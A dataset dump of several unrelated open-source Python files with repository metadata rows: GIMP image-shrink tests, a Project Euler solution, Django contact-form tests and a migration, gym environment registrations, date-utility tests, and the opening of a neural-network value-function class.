8ec2d85dd59c71a66b2ce04cb087a8844ad8b5c8
|
[
"MIT"
] | null | null | null |
test_shrink.py
|
tmenjo/gimp-python-fu-testing
|
8ec2d85dd59c71a66b2ce04cb087a8844ad8b5c8
|
[
"MIT"
] | null | null | null |
# SPDX-License-Identifier: MIT
# Copyright (c) 2022 Takashi Menjo
import tempfile
import unittest
from gimpfu import *
from shrink import *
class TestShrink(unittest.TestCase):
def test_shrink_rgb_fhd(self):
# create a new image
image = pdb.gimp_image_new(1920, 1080, RGB)
self.assertIsNotNone(image)
try:
self.assertEqual(1920, image.width)
self.assertEqual(1080, image.height)
self.assertEqual(RGB, pdb.gimp_image_base_type(image))
# no layer nor channel yet
self.assertEqual(0, pdb.gimp_image_get_layers(image)[0])
self.assertEqual(0, pdb.gimp_image_get_channels(image)[0])
self.assertIsNone(pdb.gimp_image_get_active_layer(image))
# create a new layer
layer = pdb.gimp_layer_new(image,
image.width,
image.height,
RGB_IMAGE,
"RGB-FHD",
100.0,
LAYER_MODE_NORMAL)
self.assertIsNotNone(layer)
self.assertEqual(image.width, layer.width)
self.assertEqual(image.height, layer.height)
self.assertEqual(RGB_IMAGE, layer.type)
self.assertEqual("RGB-FHD", layer.name)
self.assertEqual(100.0, layer.opacity)
self.assertEqual(LAYER_MODE_NORMAL, layer.mode)
self.assertTrue(pdb.gimp_item_is_layer(layer))
self.assertTrue(pdb.gimp_item_is_drawable(layer))
# insert the layer to the image
pdb.gimp_image_insert_layer(image, layer, None, -1)
self.assertEqual(1, pdb.gimp_image_get_layers(image)[0])
self.assertIsNotNone(pdb.gimp_image_get_active_layer(image))
# call my Python-fu function!
shrink(image, layer)
# after that the image and the layer should be ...
self.assertEqual(960, image.width)
self.assertEqual(540, image.height)
self.assertEqual(RGB, pdb.gimp_image_base_type(image))
self.assertEqual(image.width, layer.width)
self.assertEqual(image.height, layer.height)
self.assertEqual(RGB_IMAGE, layer.type)
self.assertEqual("RGB-FHD", layer.name)
self.assertEqual(100.0, layer.opacity)
self.assertEqual(LAYER_MODE_NORMAL, layer.mode)
finally:
pdb.gimp_image_delete(image)
def test_shrink_gray_4k(self):
# create a new image
image = pdb.gimp_image_new(4000, 2000, GRAY)
self.assertIsNotNone(image)
try:
self.assertEqual(4000, image.width)
self.assertEqual(2000, image.height)
self.assertEqual(GRAY, pdb.gimp_image_base_type(image))
# no layer nor channel yet
self.assertEqual(0, pdb.gimp_image_get_layers(image)[0])
self.assertEqual(0, pdb.gimp_image_get_channels(image)[0])
self.assertIsNone(pdb.gimp_image_get_active_layer(image))
# create a new layer
layer = pdb.gimp_layer_new(image,
image.width,
image.height,
GRAY_IMAGE,
"GRAY-4K",
100.0,
LAYER_MODE_NORMAL)
self.assertIsNotNone(layer)
self.assertEqual(image.width, layer.width)
self.assertEqual(image.height, layer.height)
self.assertEqual(GRAY_IMAGE, layer.type)
self.assertEqual("GRAY-4K", layer.name)
self.assertEqual(100.0, layer.opacity)
self.assertEqual(LAYER_MODE_NORMAL, layer.mode)
self.assertTrue(pdb.gimp_item_is_layer(layer))
self.assertTrue(pdb.gimp_item_is_drawable(layer))
# insert the layer to the image
pdb.gimp_image_insert_layer(image, layer, None, -1)
self.assertEqual(1, pdb.gimp_image_get_layers(image)[0])
self.assertIsNotNone(pdb.gimp_image_get_active_layer(image))
# call my Python-fu function!
shrink(image, layer)
# after that the image and the layer should be ...
self.assertEqual(2000, image.width)
self.assertEqual(1000, image.height)
self.assertEqual(GRAY, pdb.gimp_image_base_type(image))
self.assertEqual(image.width, layer.width)
self.assertEqual(image.height, layer.height)
self.assertEqual(GRAY_IMAGE, layer.type)
self.assertEqual("GRAY-4K", layer.name)
self.assertEqual(100.0, layer.opacity)
self.assertEqual(LAYER_MODE_NORMAL, layer.mode)
finally:
pdb.gimp_image_delete(image)
class TestHalf(unittest.TestCase):
def test_half_even(self):
self.assertEqual(0, half(0))
self.assertEqual(1, half(2))
self.assertEqual(2, half(4))
self.assertEqual(540, half(1080))
self.assertEqual(960, half(1920))
self.assertEqual(1000, half(2000))
self.assertEqual(2000, half(4000))
def test_half_odd(self):
self.assertEqual(0, half(1))
self.assertEqual(1, half(3))
self.assertEqual(2, half(5))
if __name__ == '__main__':
content = None
with tempfile.TemporaryFile() as out:
runner = unittest.TextTestRunner(stream=out)
unittest.main(argv=[__file__], testRunner=runner, exit=False)
out.seek(0)
content = out.read()
gimp.message(content)
| 39.452055
| 72
| 0.584375
| 653
| 5,760
| 4.977029
| 0.165391
| 0.24
| 0.073846
| 0.046154
| 0.758769
| 0.744
| 0.718154
| 0.718154
| 0.718154
| 0.718154
| 0
| 0.034509
| 0.320833
| 5,760
| 145
| 73
| 39.724138
| 0.796268
| 0.069618
| 0
| 0.611111
| 0
| 0
| 0.009356
| 0
| 0
| 0
| 0
| 0
| 0.592593
| 1
| 0.037037
| false
| 0
| 0.037037
| 0
| 0.092593
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ffad4729a0ab2ddd177f2677d26fcdeafd55e261
| 1,504
|
py
|
Python
|
python/8.py
|
dpetker/project-euler
|
d232367d5f21821871c53d6ecc43c8d6af801d2c
|
[
"MIT"
] | null | null | null |
python/8.py
|
dpetker/project-euler
|
d232367d5f21821871c53d6ecc43c8d6af801d2c
|
[
"MIT"
] | null | null | null |
python/8.py
|
dpetker/project-euler
|
d232367d5f21821871c53d6ecc43c8d6af801d2c
|
[
"MIT"
] | null | null | null |
# Soultion for Project Euler Problem #8 - https://projecteuler.net/problem=8
# (c) 2017 dpetker
TEST_VAL = '7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450'
curr_max = 0
def multiply_range(test_str):
curr_prod = 1
for c in test_str:
curr_prod *= int(c)
return curr_prod
for ctr in range(0, len(TEST_VAL) - 13):
temp_prod = multiply_range(TEST_VAL[ctr : ctr + 13])
if temp_prod > curr_max:
curr_max = temp_prod
print('The thirteen adjacent digits in the 1000-digit number that have the greatest product is {}'.format(curr_max))
| 71.619048
| 1,013
| 0.90359
| 86
| 1,504
| 15.604651
| 0.534884
| 0.020864
| 0.025335
| 0.022355
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.720765
| 0.061835
| 1,504
| 20
| 1,014
| 75.2
| 0.230333
| 0.05984
| 0
| 0
| 0
| 0
| 0.77305
| 0.70922
| 0
| 1
| 0
| 0
| 0
| 1
| 0.083333
| false
| 0
| 0
| 0
| 0.166667
| 0.083333
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
443c27bbf5ed68657ffd40e0d64987ff0fe5d51b
| 135
|
py
|
Python
|
arpoc/utils.py
|
JustKiddingCode/arpoc
|
0a3bbd86535fc79c32a99d9f59362637146d344f
|
[
"MIT"
] | 1
|
2020-11-27T05:12:38.000Z
|
2020-11-27T05:12:38.000Z
|
arpoc/utils.py
|
JustKiddingCode/arpoc
|
0a3bbd86535fc79c32a99d9f59362637146d344f
|
[
"MIT"
] | null | null | null |
arpoc/utils.py
|
JustKiddingCode/arpoc
|
0a3bbd86535fc79c32a99d9f59362637146d344f
|
[
"MIT"
] | null | null | null |
import datetime
def now_object():
return datetime.datetime.now()
def now():
return int(datetime.datetime.now().timestamp())
| 15
| 51
| 0.703704
| 17
| 135
| 5.529412
| 0.470588
| 0.12766
| 0.404255
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.155556
| 135
| 8
| 52
| 16.875
| 0.824561
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| true
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
444131991820f894b68fb89e3c53c4761f8bb61c
| 8,305
|
py
|
Python
|
backend/apps/volontulo/tests/views/test_contactform.py
|
SzeregowaD/volontulo
|
4989af367e89c2f476bddf49bf42e118555cddc3
|
[
"MIT"
] | null | null | null |
backend/apps/volontulo/tests/views/test_contactform.py
|
SzeregowaD/volontulo
|
4989af367e89c2f476bddf49bf42e118555cddc3
|
[
"MIT"
] | null | null | null |
backend/apps/volontulo/tests/views/test_contactform.py
|
SzeregowaD/volontulo
|
4989af367e89c2f476bddf49bf42e118555cddc3
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
.. module:: test_contactform
"""
from django.core import mail
from django.test import Client
from django.test import TestCase
from apps.volontulo.tests import common
class TestPages(TestCase):
"""Class responsible for testing contact forms."""
test_admin_email = test_admin_username = 'admin@admin.com'
test_admin_password = 'admin_password'
@classmethod
def setUpTestData(cls):
# admin user
cls.admin = common.initialize_administrator(
username=cls.test_admin_username, email=cls.test_admin_email,
password=cls.test_admin_password
)
# volunteer user - totally useless
cls.volunteer = common.initialize_empty_volunteer()
# organization user - no offers
common.initialize_empty_organization()
# volunteer user - offers, organizations
common.initialize_filled_volunteer_and_organization()
def setUp(self):
"""Set up each test."""
self.client = Client()
def test__get_contact_with_administrator_form_by_anonymous(self):
"""Request contact with administrator form by anonymous user."""
response = self.client.get('/o/contact', follow=True)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
def test__get_contact_with_administrator_form_by_volunteer(self):
"""Request contact with administrator form by volunteer user."""
self.client.login(
username='volunteer1@example.com',
password='volunteer1',
)
response = self.client.get('/o/contact')
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
def test__get_contact_with_administrator_form_by_organization(self):
"""Request contact with administrator form by organization user."""
self.client.login(
username='organization1@example.com',
password='organization1',
)
response = self.client.get('/o/contact')
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
def test__post_contact_with_administrator_form_by_anonymous(self):
"""Post to contact with administrator form by anonymous user."""
form_params = {
'applicant': 'VOLUNTEER',
'administrator': self.admin.id,
'name': 'John Smith',
'email': 'john.smith@example.com',
'phone_no': '+48 123 123 123',
'message': 'Beautiful is better than ugly.'
}
response = self.client.post(
'/o/contact',
form_params,
follow=True
)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
self.assertEqual(len(mail.outbox), 1)
self.assertEqual(mail.outbox[0].subject, 'Kontakt z administratorem')
self.assertContains(response, 'Email został wysłany.')
def test__contact_with_admin_form_by_volunteer_val_error(self):
"""Post to contact with administrator form by volunteer user assuming
validation error.
"""
self.client.login(
username='volunteer1@example.com',
password='volunteer1',
)
form_params = {
'applicant': 'VOLUNTEER',
'administrator': self.admin.id,
'name': '',
'email': '',
'phone_no': '',
'message': '',
}
response = self.client.post(
'/o/contact',
form_params,
follow=True
)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
self.assertContains(response, 'Proszę poprawić błędy w formularzu:')
self.assertEqual(len(mail.outbox), 0)
def test__contact_with_admin_form_by_volunteer(self):
"""Post to contact with administrator form by volunteer user."""
self.client.login(
username='volunteer1@example.com',
password='volunteer1',
)
form_params = {
'applicant': 'VOLUNTEER',
'administrator': self.admin.id,
'name': 'Bull Pillman',
'email': 'pull.billman@example.com',
'phone_no': '+48 123 123 123',
'message': 'My crime is that of curiosity.'
}
response = self.client.post(
'/o/contact',
form_params,
follow=True
)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
self.assertEqual(len(mail.outbox), 1)
self.assertEqual(mail.outbox[0].subject, 'Kontakt z administratorem')
self.assertContains(response, 'Email został wysłany.')
def test__contact_with_admin_form_by_organization_val_error(self):
"""Post to contact with administrator form by organization user
validation error.
"""
self.client.login(
username='organization1@example.com',
password='organization1',
)
# incorrect params
form_params = {
'applicant': 1,
'administrator': 1,
'name': '',
'email': '',
'phone_no': '',
'message': '',
}
response = self.client.post(
'/o/contact',
form_params,
follow=True
)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
self.assertEqual(len(mail.outbox), 0)
self.assertContains(response, 'Proszę poprawić błędy w formularzu:')
def test__contact_with_admin_form_by_organization_val_success(self):
"""Post to contact with administrator form by organization user
validation success.
"""
self.client.login(
username=self.admin.email,
password=self.test_admin_password
)
# correct params
form_params = {
'applicant': 'ORGANIZATION',
'administrator': self.admin.id,
'name': 'Bull Pillman',
'email': 'pull.billman@example.com',
'phone_no': '+48 123 123 123',
'message': 'My crime is that of curiosity.'
}
response = self.client.post(
'/o/contact',
form_params,
follow=True
)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'contact.html')
self.assertTemplateUsed(response, 'contact_form.html')
self.assertContains(response, 'Formularz kontaktowy')
self.assertIn('contact_form', response.context)
self.assertEqual(len(mail.outbox), 1)
self.assertEqual(mail.outbox[0].subject, 'Kontakt z administratorem')
self.assertContains(response, 'Email został wysłany.')
| 36.911111
| 77
| 0.625406
| 828
| 8,305
| 6.115942
| 0.149758
| 0.045616
| 0.094787
| 0.116904
| 0.820498
| 0.820498
| 0.80075
| 0.764613
| 0.718207
| 0.662717
| 0
| 0.012793
| 0.265864
| 8,305
| 224
| 78
| 37.075893
| 0.817779
| 0.096568
| 0
| 0.701754
| 0
| 0
| 0.201002
| 0.025176
| 0
| 0
| 0
| 0
| 0.309942
| 1
| 0.05848
| false
| 0.046784
| 0.023392
| 0
| 0.105263
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
446fe94128ac7023b32fc3727e51a54d3ff26c37
| 3,430
|
py
|
Python
|
osf/migrations/0007_auto_20170403_2304.py
|
gaybro8777/osf.io
|
30408511510a40bc393565817b343ef5fd76ab14
|
[
"Apache-2.0"
] | 628
|
2015-01-15T04:33:22.000Z
|
2022-03-30T06:40:10.000Z
|
osf/migrations/0007_auto_20170403_2304.py
|
gaybro8777/osf.io
|
30408511510a40bc393565817b343ef5fd76ab14
|
[
"Apache-2.0"
] | 4,712
|
2015-01-02T01:41:53.000Z
|
2022-03-30T14:18:40.000Z
|
osf/migrations/0007_auto_20170403_2304.py
|
Johnetordoff/osf.io
|
de10bf249c46cede04c78f7e6f7e352c69e6e6b5
|
[
"Apache-2.0"
] | 371
|
2015-01-12T16:14:08.000Z
|
2022-03-31T18:58:29.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2017-04-04 04:04
from __future__ import unicode_literals
from django.db import migrations
import django.utils.timezone
import osf.utils.fields
class Migration(migrations.Migration):
dependencies = [
('osf', '0006_add_jsonb_index_for_fileversions'),
]
operations = [
migrations.RemoveField(
model_name='osfuser',
name='mailing_lists',
),
migrations.AlterField(
model_name='abstractnode',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='abstractnode',
name='date_modified',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True, db_index=True, default=django.utils.timezone.now),
preserve_default=False,
),
migrations.AlterField(
model_name='apioauth2application',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='comment',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='comment',
name='date_modified',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True),
),
migrations.AlterField(
model_name='draftregistration',
name='datetime_initiated',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='draftregistration',
name='datetime_updated',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True),
),
migrations.AlterField(
model_name='fileversion',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='guid',
name='created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='osfuser',
name='date_registered',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='preprintservice',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='preprintservice',
name='date_modified',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True),
),
migrations.AlterField(
model_name='recentlyaddedcontributor',
name='date_added',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True),
),
migrations.AlterField(
model_name='session',
name='date_created',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='session',
name='date_modified',
field=osf.utils.fields.NonNaiveDateTimeField(auto_now=True),
),
]
| 35
| 122
| 0.608163
| 318
| 3,430
| 6.342767
| 0.201258
| 0.063461
| 0.111056
| 0.215667
| 0.75409
| 0.75409
| 0.75409
| 0.727814
| 0.677243
| 0.677243
| 0
| 0.00817
| 0.286297
| 3,430
| 97
| 123
| 35.360825
| 0.815768
| 0.01895
| 0
| 0.744444
| 1
| 0
| 0.128495
| 0.018144
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.044444
| 0
| 0.077778
| 0.022222
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
44897a884a7670d98ec9e3f46a44eaad7fa73aec
| 1,282
|
py
|
Python
|
gym_guidance_collision_avoidance_single/__init__.py
|
xuxiyang1993/gym-guidance-collision-avoidance-single
|
2a532a5d86ac1e0ae31d36fa1ad7fb379ac9c932
|
[
"MIT"
] | 4
|
2019-02-22T03:46:50.000Z
|
2021-05-15T07:26:34.000Z
|
gym_guidance_collision_avoidance_single/__init__.py
|
xuxiyang1993/gym-guidance-collision-avoidance-single
|
2a532a5d86ac1e0ae31d36fa1ad7fb379ac9c932
|
[
"MIT"
] | null | null | null |
gym_guidance_collision_avoidance_single/__init__.py
|
xuxiyang1993/gym-guidance-collision-avoidance-single
|
2a532a5d86ac1e0ae31d36fa1ad7fb379ac9c932
|
[
"MIT"
] | 3
|
2019-02-02T01:18:01.000Z
|
2021-02-08T16:35:20.000Z
|
import logging
from gym.envs.registration import register
logger = logging.getLogger(__name__)
register(
id='guidance-collision-avoidance-single-v0',
entry_point='gym_guidance_collision_avoidance_single.envs:SingleAircraftEnv',
timestep_limit=10000,
reward_threshold=10.0,
nondeterministic=False,
)
register(
id='guidance-collision-avoidance-single-continuous-action-v0',
entry_point='gym_guidance_collision_avoidance_single.envs:SingleAircraft2Env',
timestep_limit=10000,
reward_threshold=10.0,
nondeterministic=False,
)
register(
id='guidance-collision-avoidance-single-stack-v0',
entry_point='gym_guidance_collision_avoidance_single.envs:SingleAircraftStackEnv',
timestep_limit=10000,
reward_threshold=10.0,
nondeterministic=False,
)
register(
id='guidance-collision-avoidance-single-HER-v0',
entry_point='gym_guidance_collision_avoidance_single.envs:SingleAircraftHEREnv',
timestep_limit=10000,
reward_threshold=10.0,
nondeterministic=False,
)
register(
id='guidance-collision-avoidance-single-Discrete-HER-v0',
entry_point='gym_guidance_collision_avoidance_single.envs:SingleAircraftDiscreteHEREnv',
timestep_limit=10000,
reward_threshold=10.0,
nondeterministic=False,
)
| 28.488889
| 92
| 0.783931
| 143
| 1,282
| 6.755245
| 0.258741
| 0.175983
| 0.269151
| 0.331263
| 0.782609
| 0.782609
| 0.73913
| 0.73913
| 0.73913
| 0.521739
| 0
| 0.040636
| 0.117005
| 1,282
| 44
| 93
| 29.136364
| 0.812721
| 0
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| 0.526316
| 0
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| 0.437598
| 0.437598
| 0
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| 1
| 0
| false
| 0
| 0.052632
| 0
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| 0
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| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
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|
0
| 7
|
924910c27d79a743ea15b4e8a2259f9a6d314c3f
| 5,730
|
py
|
Python
|
bookmarks/tests/test_utils.py
|
ulixxe/linkding
|
dfb040bbb12ecf7542e20bd9323b6009e04d2304
|
[
"MIT"
] | 1,312
|
2019-12-25T18:14:43.000Z
|
2022-03-30T13:40:11.000Z
|
bookmarks/tests/test_utils.py
|
ulixxe/linkding
|
dfb040bbb12ecf7542e20bd9323b6009e04d2304
|
[
"MIT"
] | 177
|
2019-12-26T05:06:14.000Z
|
2022-03-31T20:29:03.000Z
|
bookmarks/tests/test_utils.py
|
ulixxe/linkding
|
dfb040bbb12ecf7542e20bd9323b6009e04d2304
|
[
"MIT"
] | 109
|
2019-12-25T22:20:19.000Z
|
2022-03-28T01:55:12.000Z
|
from unittest.mock import patch
from dateutil.relativedelta import relativedelta
from django.test import TestCase
from django.utils import timezone
from bookmarks.utils import humanize_absolute_date, humanize_relative_date, parse_timestamp
class UtilsTestCase(TestCase):
def test_humanize_absolute_date(self):
test_cases = [
(timezone.datetime(2021, 1, 1), timezone.datetime(2023, 1, 1), '01/01/2021'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 2, 1), '01/01/2021'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 8), '01/01/2021'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 7), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 7, 23, 59), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 3), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 2), 'Yesterday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 2, 23, 59), 'Yesterday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 1), 'Today'),
]
for test_case in test_cases:
result = humanize_absolute_date(test_case[0], test_case[1])
self.assertEqual(test_case[2], result)
def test_humanize_absolute_date_should_use_current_date_as_default(self):
with patch.object(timezone, 'now', return_value=timezone.datetime(2021, 1, 1)):
self.assertEqual(humanize_absolute_date(timezone.datetime(2021, 1, 1)), 'Today')
# Regression: Test that subsequent calls use current date instead of cached date (#107)
with patch.object(timezone, 'now', return_value=timezone.datetime(2021, 1, 13)):
self.assertEqual(humanize_absolute_date(timezone.datetime(2021, 1, 13)), 'Today')
def test_humanize_relative_date(self):
test_cases = [
(timezone.datetime(2021, 1, 1), timezone.datetime(2022, 1, 1), '1 year ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2022, 12, 31), '1 year ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2023, 1, 1), '2 years ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2023, 12, 31), '2 years ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 12, 31), '11 months ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 2, 1), '1 month ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 31), '4 weeks ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 14), '1 week ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 8), '1 week ago'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 7), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 7, 23, 59), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 3), 'Friday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 2), 'Yesterday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 2, 23, 59), 'Yesterday'),
(timezone.datetime(2021, 1, 1), timezone.datetime(2021, 1, 1), 'Today'),
]
for test_case in test_cases:
result = humanize_relative_date(test_case[0], test_case[1])
self.assertEqual(test_case[2], result)
def test_humanize_relative_date_should_use_current_date_as_default(self):
with patch.object(timezone, 'now', return_value=timezone.datetime(2021, 1, 1)):
self.assertEqual(humanize_relative_date(timezone.datetime(2021, 1, 1)), 'Today')
# Regression: Test that subsequent calls use current date instead of cached date (#107)
with patch.object(timezone, 'now', return_value=timezone.datetime(2021, 1, 13)):
self.assertEqual(humanize_relative_date(timezone.datetime(2021, 1, 13)), 'Today')
def verify_timestamp(self, date, factor=1):
timestamp_string = str(int(date.timestamp() * factor))
parsed_date = parse_timestamp(timestamp_string)
self.assertEqual(date, parsed_date)
def test_parse_timestamp_fails_for_invalid_timestamps(self):
with self.assertRaises(ValueError):
parse_timestamp('invalid')
def test_parse_timestamp_parses_millisecond_timestamps(self):
now = timezone.now().replace(microsecond=0)
fifty_years_ago = now - relativedelta(year=50)
fifty_years_from_now = now + relativedelta(year=50)
self.verify_timestamp(now)
self.verify_timestamp(fifty_years_ago)
self.verify_timestamp(fifty_years_from_now)
def test_parse_timestamp_parses_microsecond_timestamps(self):
now = timezone.now().replace(microsecond=0)
fifty_years_ago = now - relativedelta(year=50)
fifty_years_from_now = now + relativedelta(year=50)
self.verify_timestamp(now, 1000)
self.verify_timestamp(fifty_years_ago, 1000)
self.verify_timestamp(fifty_years_from_now, 1000)
def test_parse_timestamp_parses_nanosecond_timestamps(self):
now = timezone.now().replace(microsecond=0)
fifty_years_ago = now - relativedelta(year=50)
fifty_years_from_now = now + relativedelta(year=50)
self.verify_timestamp(now, 1000000)
self.verify_timestamp(fifty_years_ago, 1000000)
self.verify_timestamp(fifty_years_from_now, 1000000)
def test_parse_timestamp_fails_for_out_of_range_timestamp(self):
now = timezone.now().replace(microsecond=0)
with self.assertRaises(ValueError):
self.verify_timestamp(now, 1000000000)
| 52.568807
| 96
| 0.665969
| 744
| 5,730
| 4.950269
| 0.133065
| 0.24328
| 0.276948
| 0.27369
| 0.831659
| 0.793646
| 0.745859
| 0.706489
| 0.698887
| 0.673636
| 0
| 0.103025
| 0.203839
| 5,730
| 108
| 97
| 53.055556
| 0.704296
| 0.029494
| 0
| 0.404762
| 0
| 0
| 0.044636
| 0
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| 0
| 0
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| 0.107143
| 1
| 0.119048
| false
| 0
| 0.059524
| 0
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| 0
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| null | 1
| 1
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| 1
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| 1
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|
0
| 8
|
92590d68b4d73357f6abf1e9474635c8ebd4da64
| 34,153
|
py
|
Python
|
utilities/neural_networks.py
|
Tenavi/HJB_NN
|
11cfa0e721f02bf36d0cdf03b16e08cf6a06e49c
|
[
"MIT"
] | 2
|
2020-06-25T11:40:00.000Z
|
2020-06-30T08:03:13.000Z
|
utilities/neural_networks.py
|
Tenavi/HJB_NN
|
11cfa0e721f02bf36d0cdf03b16e08cf6a06e49c
|
[
"MIT"
] | 3
|
2020-06-30T07:12:34.000Z
|
2020-07-02T23:06:00.000Z
|
utilities/neural_networks.py
|
Tenavi/HJB_NN
|
11cfa0e721f02bf36d0cdf03b16e08cf6a06e49c
|
[
"MIT"
] | 1
|
2022-01-12T06:17:08.000Z
|
2022-01-12T06:17:08.000Z
|
'''
This script contains the classes implementing neural networks modeling V(t,x)
and V(0,x). These are HJBnet and HJBnet_t0, respectively.
'''
import numpy as np
import tensorflow as tf
from scipy import stats
from scipy.integrate import solve_ivp, solve_bvp
import time
class HJBnet:
def __init__(self, problem, scaling, config, parameters=None):
'''Class implementing a NN for modeling time-dependent value functions.
problem: instance of a problem class
scaling: dictionary with 8 components:
'lb' and 'ub',
the lower and upper bounds of the input data, prior to scaling
'A_lb' and 'A_ub',
the lower and upper bounds of the gradient data, prior to scaling
'U_lb' and 'U_ub',
